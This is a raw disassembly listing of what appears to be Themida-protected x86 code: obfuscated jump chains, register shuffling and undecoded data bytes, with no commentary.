loc_545537:				; CODE XREF: Themida_:005493C3j
		push	ebx
		mov	ebx, 0B7A5162h
		shl	ebx, 7
		add	ebx, 3E444A4Ch
		shl	ebx, 7
		sub	ebx, 5D357C58h
		sub	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_54F73A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 148B04C4h, 4C48324h, 0FFEAA5E9h, 58C689FFh
		dd 815EF101h, 4C1h, 240C8700h, 60D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_545591:				; CODE XREF: Themida_:00548B08j
		pop	esp
		mov	[esp], esi
		mov	esi, 19AE2CEFh
		sub	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5490E1
; ---------------------------------------------------------------------------

loc_5455AC:				; CODE XREF: Themida_:0054BF88j
		add	ecx, 47691188h
		neg	ecx
		jmp	loc_54B774
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0
		dd 0C1392E3Ah, 0F28102EAh, 323D46BFh, 0A0E9D589h, 59000069h
		dd 0DEF68058h, 0F1885150h, 0A4E9C888h, 81000038h, 2EAh
		dd 24148700h, 30A5E9h, 4EB8100h, 0E9000000h, 2848h, 8104C483h
		dd 343F46EBh, 81C3291Dh, 343F46C3h, 0BDB9511Dh,	0E939FB57h
		dd 8B8Ch
; ---------------------------------------------------------------------------

loc_545614:				; CODE XREF: Themida_:00545829j
		push	57D0h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5462E5
; ---------------------------------------------------------------------------
		dd 66240C89h, 6605D8B9h, 0E9C16649h, 3CA9E902h,	48F0000h
		dd 0CBE95C24h, 56000019h, 0FA16E568h, 0DCE95E26h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54564B:				; CODE XREF: Themida_:00544DC9j
		dec	dword ptr [esp]
		pop	eax
		sub	eax, 1A02D273h
		add	ebx, eax
		pop	eax
		pop	esi
		jmp	loc_54461D
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 42D2F75Ch, 732068h, 242C8900h, 43684EBDh, 0E6C58145h
		dd 91073CFh, 242C8BEAh,	8601E9h, 3E2C000h, 0D5885166h
		dd 265BE9h, 2C68300h, 0E9243487h, 0FFFFFE78h
; ---------------------------------------------------------------------------

loc_545698:				; CODE XREF: Themida_:00549528j
		sub	esp, 4
		mov	[esp], ebp
		push	2
		pop	ebp
		add	ecx, ebp
		jmp	loc_54C549
; ---------------------------------------------------------------------------
		dw 305Bh
		dd 0C8B66E8h, 0E3E95724h, 8000006Fh, 0C1E9FFEBh, 81000034h
		dd 0B359F3C5h, 81D5293Dh, 0B359F3EDh, 0E9555A3Dh, 2B14h
		dd 24048B54h, 4C481h, 4050000h,	56000000h, 2BEh, 2E90E900h
		dd 55580000h, 46ACE9h, 24143100h, 0E9241433h, 0FFFFF8FAh
; ---------------------------------------------------------------------------

loc_545704:				; CODE XREF: Themida_:0054E2F2j
		xor	[esp], eax
		jmp	loc_5493A6
; ---------------------------------------------------------------------------

loc_54570C:				; CODE XREF: Themida_:0054ACFAj
		mov	[esp], esi
		jmp	loc_544F46
; ---------------------------------------------------------------------------
		dd 96E9D1F6h, 5600009Bh, 2BEh, 51E95500h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545727:				; CODE XREF: Themida_:00545F2Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54EA32
; ---------------------------------------------------------------------------
aSG		db ')Íé,ƒ',0
		align 2
		dw 0C8Bh
		dd 0FDFE924h, 8B660000h, 0EC83240Ch, 242C8904h,	6A7CE9h
		dd 24148B00h, 0FFEC0BE9h, 1C875EFFh, 0F9F65C24h, 0CCB60F66h
		dd 66056866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE89Ah
		dd 3323F581h, 0EF8964FFh, 0E9FE015Dh, 50E6h, 0C6815E54h
		dd 4, 0FFF093E9h, 0EFE681FFh, 55044D26h, 81706BDh, 81DDF725h
		dd 0B97FAACDh, 81DDF738h, 8F4DE3C5h, 8BEE0141h,	51E9242Ch
		dd 0FF00009Fh, 34FF2434h, 89505824h, 405E0h, 0B9510000h
		dd 4, 8759C829h, 895C2404h, 0FF54240Ch,	48E92434h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5457F3:				; CODE XREF: Themida_:0054F0E9j
		shl	ecx, 8
		inc	ecx
		sub	ecx, 91F7B5CBh
		xor	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54F31D
; ---------------------------------------------------------------------------

loc_54580B:				; CODE XREF: Themida_:0054906Aj
		add	esp, 4
		pop	ecx
		push	6B95h
		mov	[esp], ebp
		push	8000h
		push	dword ptr [esp]
		jmp	loc_54B9A8
; ---------------------------------------------------------------------------

loc_545827:				; CODE XREF: Themida_:005466AFj
		xor	eax, ecx
		jmp	loc_545614
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E7ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545836:				; CODE XREF: Themida_:005497CAj
		mov	ecx, ebp
		jmp	loc_54DFEA
; ---------------------------------------------------------------------------
		db 0ADh, 5, 0FDh
		dd 5147926h, 3A462E05h,	52DD801h, 563A462Eh, 3018A8BEh
		dd 4EC831Ch, 0B9240C89h, 40D20DDh, 41AEC181h, 0F1815163h
		dd 4FBF3AEAh, 743CF181h, 47E92FE4h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545877:				; CODE XREF: Themida_:005492F7j
		sub	bh, 63h
		sub	al, bh
		jmp	loc_54B0FB
; ---------------------------------------------------------------------------

loc_545881:				; CODE XREF: Themida_:0054FA1Fj
		mov	[edi+20h], eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 0
		mov	eax, esi
		pop	esi
		push	ebx
		mov	ebx, eax
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		mov	[ecx], ebx
		pop	ecx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54BF2F
; ---------------------------------------------------------------------------
		dd 4C381h, 84E90000h, 0BEFFFFFDh, 3702081Ch, 7415E9h
		db 0
; ---------------------------------------------------------------------------

loc_5458C5:				; CODE XREF: Themida_:0054FD48j
		shl	edx, 1
		jmp	loc_545A53
; ---------------------------------------------------------------------------
		dd 0E9240431h, 300Ah, 0E95BDA31h, 0FFFFE993h, 0BB53E289h
		dd 4, 57EBE9h, 2DF02900h, 39B0466Eh, 98043405h,	2434FF1Bh
		dd 8324348Bh, 895104C4h, 0B2E957E1h, 0B2000052h, 8BD188ABh
		dd 89502414h, 405E0h, 0C0830000h, 24048704h, 2B05E9h, 0E9D93100h
		dd 3DE5h, 3AE9C329h, 5300000Dh,	0FFE99BE9h, 81F701FFh
		dd 4437A4C7h, 98E95E05h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545943:				; CODE XREF: Themida_:0054B631j
		push	ebp
		jmp	loc_54DACB
; ---------------------------------------------------------------------------
		db 88h,	0D8h, 5Bh
		dd 4A240D04h, 72E92D24h, 0E9FFFFEBh, 0FFFFE6C6h, 3C00BD55h
		dd 1BB8393Eh, 1FE2329h,	782D5DE8h, 0C14BB806h, 0C50D06E8h
		dd 35136011h, 13EEB5FBh, 5286EE81h, 62E97E58h, 6600001Ah
		dd 0E924048Bh, 78C1h, 348B5456h, 0E2895224h, 4138E9h, 0C8B6600h
		dd 0E2895224h, 479DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5459A9:				; CODE XREF: Themida_:0054B6CBj
		mov	esi, [esp]
		jmp	loc_548630
; ---------------------------------------------------------------------------

loc_5459B1:				; CODE XREF: Themida_:00547F26j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 1062156Bh
		sub	edx, 6C4BC60Ah
		push	esi
		jmp	loc_54967D
; ---------------------------------------------------------------------------

loc_5459CC:				; CODE XREF: Themida_:0054BBF1j
		shr	ebp, 5
		and	ebp, 5DC909D2h
		add	ebp, 0C2DDC51Ah
		add	edx, ebp
		jmp	loc_54FFB5
; ---------------------------------------------------------------------------
		dw 8166h
		dd 6629B4EBh, 0FFD4C381h, 75F9E9h, 0C3815D00h, 4, 401DE9h
		dd 81C32900h, 5D0842C3h, 0B60F6618h, 4EC8300h, 89241489h
		dd 4EC83E2h, 0BB241C89h, 4, 6358C281h, 5EE93AC4h, 3100005Ah
		dd 0E9F531EEh, 0FFFFE75Eh
; ---------------------------------------------------------------------------

loc_545A30:				; CODE XREF: Themida_:0054660Dj
		jmp	loc_544022
; ---------------------------------------------------------------------------

loc_545A35:				; CODE XREF: Themida_:0054469Bj
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_54FB44
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 1B0Ch
; ---------------------------------------------------------------------------

loc_545A4C:				; CODE XREF: Themida_:0054733Bj
		sub	esi, edx
		jmp	loc_549EB0
; ---------------------------------------------------------------------------

loc_545A53:				; CODE XREF: Themida_:005458C7j
		xchg	esi, [edi+24h]
		push	ebp
		mov	ebp, 7C465412h
		or	ebp, 716D58BAh
		shl	ebp, 4
		add	ebp, 1
		neg	ebp
		add	ebp, 0D6F5CBA2h
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 24h
		add	ebx, 21C2137Ah
		add	ebx, edi
		push	edx
		mov	edx, 21C2137Ah
		sub	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_54D7E9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24148966h, 22E668h, 7FABE900h, 0ED830000h, 242C8704h
		dd 242C895Ch, 0C5815D54h, 4, 3982E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545ABE:				; CODE XREF: Themida_:00548D3Ej
		xor	edx, 598F01F4h
		jmp	loc_54FDA1
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 68h
a0syhO		db '0čYhÚO',0
		align 4
		dd 3A04E9h, 0F7DEF700h,	93C3E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545AE2:				; CODE XREF: Themida_:00548886j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54A948
; ---------------------------------------------------------------------------
		db 0BBh
		align 8
		dd 1388C301h, 0FF2434FFh, 525B2434h, 88E9E289h,	100005Dh
		dd 4CC9E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545B12:				; CODE XREF: Themida_:0054AC32j
		pop	edi
		xor	edx, eax
		pop	eax

loc_545B16:				; CODE XREF: Themida_:00547F0Bj
					; Themida_:005484A6j
		push	edx
		push	ebx
		jmp	loc_54EFD0
; ---------------------------------------------------------------------------

loc_545B1D:				; CODE XREF: Themida_:00546CF4j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54888B
; ---------------------------------------------------------------------------
		dd 0FFE4F5E9h, 5FFB31FFh, 0B4586856h, 295E6C3Dh, 5CE95EF3h
		dd 5C000003h, 9C2424D2h, 0A139E9h, 241C8700h, 275E685Ch
		dd 34890000h, 57E68924h, 3326BD55h, 0BE5664FFh,	1, 0E95EF501h
		dd 0FFFFFC1Ch
; ---------------------------------------------------------------------------

loc_545B6C:				; CODE XREF: Themida_:00548BFFj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_54D34D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0AEF81DFh, 57779F56h, 16242C81h, 59150C62h, 6216C181h
		dd 19E9150Ch, 310000A1h, 7C12E9EAh, 3C870000h, 24248B24h
		dd 2474FF55h, 5CB9E904h, 0E5890000h, 4C581h, 0DFE90000h
		dd 0E9FFFFFEh, 0FFFFE456h
; ---------------------------------------------------------------------------

loc_545BCC:				; CODE XREF: Themida_:0054F2ACj
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0F9h
		jmp	loc_5495B4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0BE56DFF7h, 7E39758Eh, 0E95EF721h, 0FFFFFF9Bh, 6866352Ch
		dd 89662ACCh, 0EC812414h, 4, 0E9240489h, 58FDh
; ---------------------------------------------------------------------------

loc_545C04:				; CODE XREF: Themida_:00547806j
		xor	esi, ebp
		pop	ebp
		or	edx, esi
		pop	esi
		push	eax
		jmp	loc_54E6D6
; ---------------------------------------------------------------------------
		dd 9BEB815Eh, 504CA333h, 53291BB8h, 8BC3012Ah, 0C4812404h
		dd 4, 0EB81C301h, 2A53291Bh, 12A7E9h, 0D6BD5500h, 8109B146h
		dd 0A551E7F5h, 0FFC58130h, 0F7FFFFFFh, 0C1DDF7DDh, 0BE5608E5h
		dd 8100BDAh, 3226C581h,	0F5011531h, 3226ED81h, 348B1531h
		dd 0E6895624h, 4C681h, 0B9510000h, 323F760Eh, 1853E949h
		dd 24890000h, 24048324h, 0C5815D04h, 4,	1AED68h, 0A39FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545C92:				; CODE XREF: Themida_:0054747Fj
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 12B612A0h
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54EDE8
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FF24248Bh, 0E99C240Ch, 0FFFFE352h, 0EE7A8CBBh, 0CCC38125h
		dd 2914D5E8h, 815B5BDAh, 2EAh, 64166800h, 14890000h, 2474FF24h
		dd 24148B04h, 8F04C483h, 248B2404h, 4896624h, 0FEC1E924h
		dd 1C33FFFFh, 8B665C24h, 71E9240Ch, 8100007Ch, 46541CF7h
		dd 8BF90128h, 0C481243Ch, 4, 8704C183h,	0E1E9240Ch
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545D2F:				; CODE XREF: Themida_:0054AF99j
		pop	edx
		sub	ecx, 1
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54817B
; ---------------------------------------------------------------------------
		db 0BDh, 9Bh, 53h
		dd 0F7455DCBh, 81D5F7D5h, 0EC5B5FC5h, 0F7ED8156h, 0E9B4B7AEh
		dd 9FFEh, 5E665166h, 55665966h,	8B665666h, 0C481242Ch
		dd 2, 0E9565E66h, 8B3Bh, 9BCDE95Fh, 66B70000h, 515BF828h
		dd 0F99E9h, 4C48100h, 81000000h, 723A242Ch, 4812667h, 0C57EE24h
		dd 24042953h, 4EC81h, 1FE90000h, 59000003h, 83241C8Bh
		dd 0CE0104C4h, 2C68359h, 8B243487h, 0F662424h, 9C2404ABh
		dd 0FFE259E9h, 2B951FFh, 1000000h
		db 0CEh, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54D657
; ---------------------------------------------------------------------------

loc_545DDA:				; CODE XREF: Themida_:005445E5j
		sub	edx, 63567BAEh
		add	edx, ebx
		jmp	loc_54B7B9
; ---------------------------------------------------------------------------
		db 80h
		dd 0D53096EAh, 0FFE431E9h, 4EC81FFh, 89000000h,	7BE92434h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545DFF:				; CODE XREF: Themida_:0054B664j
		shr	ecx, 6
		push	edx
		mov	edx, 3DDDD7B7h
		xor	ecx, edx
		jmp	loc_546A6C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	2C8904ECh, 4BD24h, 0EA010000h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------

loc_545E43:				; CODE XREF: Themida_:00549EC5j
		add	esp, 4
		or	eax, eax
		jmp	loc_549648
; ---------------------------------------------------------------------------
		dd 0EF091DB9h, 919B813h, 0C83113EFh, 35C18159h,	1058911h
		dd 35E981C1h, 0E9058911h, 18F9h
; ---------------------------------------------------------------------------

loc_545E70:				; CODE XREF: Themida_:0054DBD2j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_549518
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 1Ch
		dd 0EC835C24h, 24148904h, 6E1EB951h, 0A9E962FAh, 100003Bh
		dd 78685BDEh, 89000046h, 0FFB82404h, 0E9FFFFFFh, 4E89h
		dd 5306E9C1h, 0E8AECBBBh, 5BD93153h, 5659CF89h,	0E875C9BEh
		dd 3472E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545ECA:				; CODE XREF: Themida_:0054EB54j
		add	ebp, 4
		jmp	loc_548EC8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPirhit		db '$P‰ŕh‰t',0
		dd 242C8900h, 4BDh, 69FE0500h, 922D0F87h, 116DF18h, 0E504E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545EFA:				; CODE XREF: Themida_:0054625Cj
		pop	eax
		sub	edi, 11A01647h
		push	esi
		jmp	loc_5480E8
; ---------------------------------------------------------------------------
aItsm		db '‰âéŹ+',0
		align 2
		dw 0CA29h
		dd 83240C8Bh, 0E95704C4h, 64D4h, 5C240433h, 240C8B66h
		dd 2467E9h
		db 0
; ---------------------------------------------------------------------------

loc_545F29:				; CODE XREF: Themida_:0054CDA1j
		push	ebp
		jmp	loc_545727
; ---------------------------------------------------------------------------
		db 5Ah
		dd 24348B5Bh, 81E38953h, 4C3h, 4C38100h, 87000000h, 665C241Ch
		dd 6603E9C1h, 34FDC181h, 32F18166h, 0C83166F4h,	8B2434FFh
		dd 0C483240Ch, 4C48104h, 81000000h, 4ECh, 242C8900h, 5B36BD66h
		dd 0FFF0D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545F79:				; CODE XREF: Themida_:00547C3Bj
		mov	ebp, ebx
		push	4EC0h
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_54DB00
; ---------------------------------------------------------------------------
aZsuo		db 'ZéUo',0
		dw 5600h
a@Ha		db 'ž+{@',9,'h <',0
		align 2
		dw 1C89h
		dd 22ADBB24h, 0CB8147D6h, 74084694h, 14D2EB81h,	0D3F71411h
		dd 5601EB83h, 4943BBBEh, 2DF7E94Dh, 0E9500000h,	2F5Bh
		dd 40B309B4h, 58E330h, 241C8BD9h, 4C481h, 9040000h, 46BE9h
		dd 88E95B00h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546003:				; CODE XREF: Themida_:0054E85Cj
		mov	ebx, [esp]
		jmp	loc_54CB67
; ---------------------------------------------------------------------------

loc_54600B:				; CODE XREF: Themida_:0054CD66j
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54DF83
; ---------------------------------------------------------------------------
		db 89h
		dd 268240Ch, 54000000h,	8124048Fh, 42404h, 0C8B0000h, 4C48124h
		dd 68000000h, 0FD2h, 55240489h,	7F146368h, 0EDD15D68h
		dd 0D8C58145h, 81060E7Ch, 4E070EF5h, 5DE8893Ah,	0FFE1AAE9h
		dd 1E982DFFh, 0B9510F97h, 4D502888h, 5E0DC981h,	0E9C1040Eh
		dd 2AC18107h, 16A54B9h,	835959C8h, 0CAE902C0h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54607F:				; CODE XREF: Themida_:0054CA06j
		pop	eax
		sub	edi, 4
		jmp	loc_54D3FE
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E95F5457h, 35F5h
; ---------------------------------------------------------------------------

loc_546094:				; CODE XREF: Themida_:005470D4j
		sub	ecx, 7FB22AB4h
		xor	ebp, ecx
		pop	ecx
		shl	ebp, 4
		not	ebp
		jmp	loc_54D22B
; ---------------------------------------------------------------------------

loc_5460A7:				; CODE XREF: Themida_:0054511Ej
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BF8D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 5951BB24h, 0C3812662h, 365F2945h, 1944E381h,	0D3F70B1Ch
		dd 4B13EB81h, 0F38125BCh, 814FE306h, 4245C29h, 83241C8Bh
		dd 696804C4h, 8900002Eh, 0B1E9242Ch, 0B9000028h, 6FF541A0h
		dd 0D1F7D1F7h, 0F181D9F7h, 0DF508EC3h, 97C9E9h,	66AD6600h
		dd 5671DB05h, 2751BE66h, 81664666h, 663389F6h, 2285EE81h
		dd 0CEF68166h, 0F00166A6h, 1D05665Eh, 0D801665Ch, 39C1E9h
		dd 8D08BE00h, 0F2314A91h, 5AD3015Eh, 1C8BDF89h,	4C48324h
		dd 1AB3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54615D:				; CODE XREF: Themida_:0054F38Dj
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, 4BE65EC2h
		add	ebx, ecx
		add	ebx, 4BE65EC2h
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54FE80
; ---------------------------------------------------------------------------

loc_546182:				; CODE XREF: Themida_:00547B28j
		push	4
		jmp	loc_546F50
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 4F03E9h, 0F8015900h
		dd 0B270F32Dh, 38BCE91Ch, 88530000h, 6382E9E7h,	8B660000h
		dd 68512404h, 0D57h, 0E904EC83h, 9487h
; ---------------------------------------------------------------------------

loc_5461C8:				; CODE XREF: Themida_:0054F4CDj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, edx
		jmp	loc_54BE19
; ---------------------------------------------------------------------------
		db 5
		dd 4, 31240433h, 4332404h, 30E1E924h, 0C2810000h, 4C7F305Dh
		dd 3986E9h, 4940B800h, 0C1296143h, 0E924048Bh, 1BE1h
; ---------------------------------------------------------------------------

loc_546210:				; CODE XREF: Themida_:0054FE86j
		xchg	eax, esi
		push	esi
		push	273Dh
		mov	[esp], ebp
		mov	ebp, 5E4513DEh
		add	ebp, 67C0096Dh
		jmp	loc_546655
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 28FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546232:				; CODE XREF: Themida_:0054B69Aj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 5ED05F50h
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_54A20C
; ---------------------------------------------------------------------------

loc_54624F:				; CODE XREF: Themida_:005452D6j
		push	eax
		mov	eax, 4B3213F3h
		sub	eax, 0CC3EE9D8h
		mov	edi, eax
		jmp	loc_545EFA
; ---------------------------------------------------------------------------

loc_546261:				; CODE XREF: Themida_:00546F82j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5475A8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd offset byte_5B16E9
		db 0
; ---------------------------------------------------------------------------

loc_546279:				; CODE XREF: Themida_:0054632Cj
		push	dword ptr [eax]
		pop	ecx
		jmp	loc_550090
; ---------------------------------------------------------------------------

loc_546281:				; CODE XREF: Themida_:005498BDj
		pop	edi
		jmp	loc_54D54E
; ---------------------------------------------------------------------------
a_xsE		db '_Xéˇe',0
		align 2
		dw 0EE29h
		dd 2434875Dh, 8924248Bh, 5B56241Ch, 0E95B5F53h,	8250h
		dd 68585450h, 6936h, 0B9240C89h, 4, 13FEBA52h, 0C14A1710h
		dd 0E2C107E2h, 81DAF708h, 0E04B14EAh, 0C5EA8159h, 53131BEh
		dd 4DCC3CA1h, 0BD55D029h, 4DCC3CA1h, 5A5DE829h,	8D29E9h
		db 0
; ---------------------------------------------------------------------------

loc_5462E5:				; CODE XREF: Themida_:0054561Fj
		mov	[esp], ecx
		jmp	loc_54B3EC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db '$h[/',0
		align 2
		dw 0C89h
		dd 4EC8324h, 55242489h,	4BDh, 362BE900h, 1C890000h, 2359E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546312:				; CODE XREF: Themida_:00544043j
		inc	edx
		jmp	loc_54E724
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 34890000h, 90E95424h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54632B:				; CODE XREF: Themida_:0054E168j
		pop	edi
		jmp	loc_546279
; ---------------------------------------------------------------------------
		db 0E9h, 0ECh, 0DCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546336:				; CODE XREF: Themida_:0054BFD7j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	800000h
		jmp	loc_54E18C
; ---------------------------------------------------------------------------
		db 1, 0EBh, 81h
		dd 602F82EBh, 242C8B03h, 4C481h, 0C7E90000h, 5BFFFFDCh
		dd 9705E801h, 5D06AA11h, 4BD5552h, 89000000h, 0D0015DEAh
		dd 0F94BE95Ah, 7401FFFFh, 0BB530424h, 250A3EEFh, 8245C01h
		dd 3820E9h, 24148B00h, 6604C483h, 8D9E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546396:				; CODE XREF: Themida_:00546EA3j
					; Themida_:00548BF6j
		push	86Dh
		mov	[esp], ecx
		mov	ecx, ebx
		push	edx
		jmp	loc_546BFB
; ---------------------------------------------------------------------------
		dw 685Ch
		dd 5E5h, 23EBE9h, 245C2900h, 241C8B04h,	4C481h,	0BD550000h
		dd 19AE2CEFh, 4246C01h,	0E92434FFh, 7B28h, 2CA304ACh, 52D80033h
		dd 1256E9h, 805C3400h, 0C3003BEBh, 0E93BC380h, 4250h
; ---------------------------------------------------------------------------

loc_5463EC:				; CODE XREF: Themida_:00549EABj
		sub	ebp, 8BA6A225h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_548018
; ---------------------------------------------------------------------------

loc_54640A:				; CODE XREF: Themida_:0054C86Aj
		push	esp
		pop	edi
		push	esi
		jmp	loc_5499DD
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 67B46CB1h, 60E9CB01h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54641F:				; CODE XREF: Themida_:00549C11j
		pop	eax
		jmp	loc_54AEC7
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0C8h
		dd 29044206h, 8B055AD6h, 143D223h, 238B2DF0h, 348B43D2h
		dd 5D545524h, 4C581h, 0C5810000h, 4, 2474FF55h,	0FE95D04h
		dd 8B000032h, 0C481242Ch, 4, 0E9241C8Bh, 6B42h,	0C828102Ch
		dd 0E9521004h, 0FFFFF02Bh
; ---------------------------------------------------------------------------

loc_546474:				; CODE XREF: Themida_:005492BDj
		push	eax
		mov	eax, 1E697C8Bh
		add	eax, 668E70A5h
		jmp	loc_54A2B3
; ---------------------------------------------------------------------------
aISyd		db 'ˆÓéyD',0
		dw 100h
		dd 0A5055DE8h, 0E939280Dh, 84DFh, 462BE95Fh, 0D8280000h
		dd 0FE04B353h, 0E9CBFECBh, 0AB4h, 9D1C77FFh, 1CD35966h
		dd 67E99C24h, 5EFFFFDBh, 8C2DE9h, 2DF6800h, 0F9E90000h
		dd 87000089h, 0E95C2404h, 2664h, 0E99CC83Bh, 0FFFFDB46h
		dd 0FE6855h, 215D0000h,	34FF1C6Fh, 6FE95D24h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5464EF:				; CODE XREF: Themida_:0054A134j
		pop	ecx
		jmp	loc_54E938
; ---------------------------------------------------------------------------
		db 50h,	81h, 0ECh
		dd 4, 2ABCE9h, 66652C00h, 8324148Bh, 0F3E902C4h, 0FE00003Eh
		dd 0C4B353C1h, 8093CB80h, 72E957CBh, 0B7000075h, 2E78E9B8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546526:				; CODE XREF: Themida_:0054938Ej
		sub	ecx, 4FE2407Ah
		jmp	loc_54A918
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 2
		dd 0FFDEDBE9h, 0EE3166FFh, 2BE0E9h, 4016600h, 0E6E99C24h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54654B:				; CODE XREF: Themida_:00547472j
		push	esi
		mov	esi, 1BEB2D57h
		xor	esi, 3857C6h
		dec	esi
		push	ebp
		jmp	loc_54BBB1
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 1E4DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546566:				; CODE XREF: Themida_:0054FDBAj
		add	esp, 4
		not	edi
		xchg	edi, ebx
		xor	ecx, ebx
		jmp	loc_54F190
; ---------------------------------------------------------------------------
		dd 0EFF1E95Ch, 0FA87FFFFh, 0C142DAF7h, 0B95105E2h, 6BF746Dh
